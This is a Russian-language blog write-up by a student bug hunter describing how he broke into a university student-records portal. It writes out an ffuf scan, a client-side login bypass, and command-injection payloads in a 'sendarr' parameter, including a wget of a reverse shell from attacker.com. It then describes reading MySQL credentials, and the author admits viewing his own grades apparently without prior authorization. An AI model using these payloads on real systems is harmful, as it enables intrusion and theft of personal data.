Всем привет! В сети я известен под ником 1day, студент третьего курса и по совместительству багхантер (охотник за уязвимостями), который увлечен безопасностью веб-приложений. В статье расскажу, как мне удалось взломать сервер, который обслуживает множество учебных заведений (в том числе университетов) и содержит данные десятки тысяч студентов.
Еще по теме: Вот как я взломал сайт NASA
Как я взломал сайт университета
Однажды, когда я спросил преподавателя о моем балле по посещаемости, она принципиально отказалась отвечать и предложила получить эту информации самостоятельно, на студенческом портале. Вернувшись в домой, я зашел на сайт и увидел данные о посещаемости и в этот момент мне в голову пришла мысль: «Что, если я смогу взломать этот сайт?» Отказ преподавателя и мои низкие показатели посещаемости пробудили во мне хакера. Я поставил себе цель – взломать университетский сервер или сторонний сайт используемых университетом.
Статья в образовательных целях, для обучения этичных хакеров. Цель — не поощрение незаконных действий, а демонстрация уязвимостей в существующих системах защиты. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Целевым объектом был сайт, который используется университетами и колледжами по всей Индии для управления записями студентов, оценками, посещаемостью и другими данными. Вход на сайт возможен только для студентов и преподавателей через регистрационные номера университетов.
Также существует мобильное приложение, которое использует тот же бэкенд.
Сбор информации
Как и обычно, я начал сбор информации, пытаясь найти все возможные поддомены цели, используя такие инструменты, как Subfinder, Assetfinder, Amass и crt.sh. Я сохранил целевой домен в файл scope, и запустил все эти инструменты. К сожалению ничего интересного не нашел.
Сам портал был поддоменом, типа:
1 |
studentportal.example.com |
Поэтому я перешел к следующему этапу — сканированию директорий. Мой любимый для этого инструмент — FFUF (см. Установка и использование FFuF).
Вот команда, которую я использовал:
1 |
ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302 |
Прошло около минуты, и я нашел интересную директорию — /bkp.
Открыв /bkp, я увидел страницу с логином в панель резервного копирования базы данных.

Это был мой первый шаг к успеху.
Частичный обход аутентификации
Теперь начался процесс обхода аутентификации. Я запустил Burp Suite для перехвата запроса и отправил произвольные данные для входа.

Ответ сервера содержал сообщение failure, что дало мне понять, что проверка аутентификации частично происходит на стороне клиента. Это означало, что можно попытаться изменить ответ сервера.
Я изменил failure на success и запрос был принят, после чего меня перенаправило на страницу:
1 |
/bkp/connect.php |
Однако это был лишь частичный успех: вместо имен баз данных я получил символы s, u, c, c, e, s, s, так как сервер интерпретировал их как отдельные базы данных.
Выполнение удаленного кода
Зайдя на панель, я обнаружил кнопку Backup, которая отправляла запрос POST на /bkp/backup1.php, передавая имена баз данных в параметре sendarr.

Я запустил фаззинг с этим параметром и через некоторое время получил интересный ответ с ошибкой, которая указывала на использование функции exec() в PHP.

Команда exec() позволяет выполнять системные команды через PHP. Я решил отправить команду для проверки, добавив следующий параметр:
1 |
sendarr=|sleep 20 |
Сервер ответил через 20.6 секунд, подтверждая, что уязвимость существует.
Чтобы доказать наличие возможности удаленного выполнения команд (RCE), я выполнил команду, записав ее результат в файл:
1 |
sendarr=|id>/var/www/html/out |
Зайдя на страницу /out, я увидел результат команды, подтверждая, что код выполняется.
Так получил возможность выполнения кода, и написал простой скрипт на Python для взаимодействия с сервером как с шелл.

Теперь пришло время взлома сервера.
Получение доступа
Далее использовал реверс-шелл PentestMonkey. Разместил файл реверс-шелла на своем сервере и скачал его на целевой сервер с помощью команды:
1 |
sendarr=|wget https://attacker.com/rev.php |
После этого запустил слушатель на netcat и открыл файл /rev.php.

И вот я получил доступ к серверу через реверс-шелл!
Доступ к базе данных
На сервере я нашел файл consts.php, который содержал учетные данные для MySQL.

Воспользовавшись ими, я подключился к базе данных:
1 |
mysql -h servername.rds.amazonaws.com -u username -p |
И вот я оказался в базе данных, содержащей данные множества университетов.
Я нашел свою запись и просмотрел данные по посещаемости, оценкам и другие интересную информацию :).
Заключение
Как этичный хакер, я не стал изменять или удалять какие-либо данные. Сообщил о проблеме декану университета, и она была передана команде безопасности, которая устранила уязвимость через две недели.
Этот взлом занял у меня три дня, и в итоге я получил доступ к базе данных с данными более 100 тысяч студентов.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Вот как взломал сайт Tesla и получил 10.000$
- Нашел пароли в пустом файле и взломал сайт
- Обошел двухфакторную авторизацию и заработал на HackerOne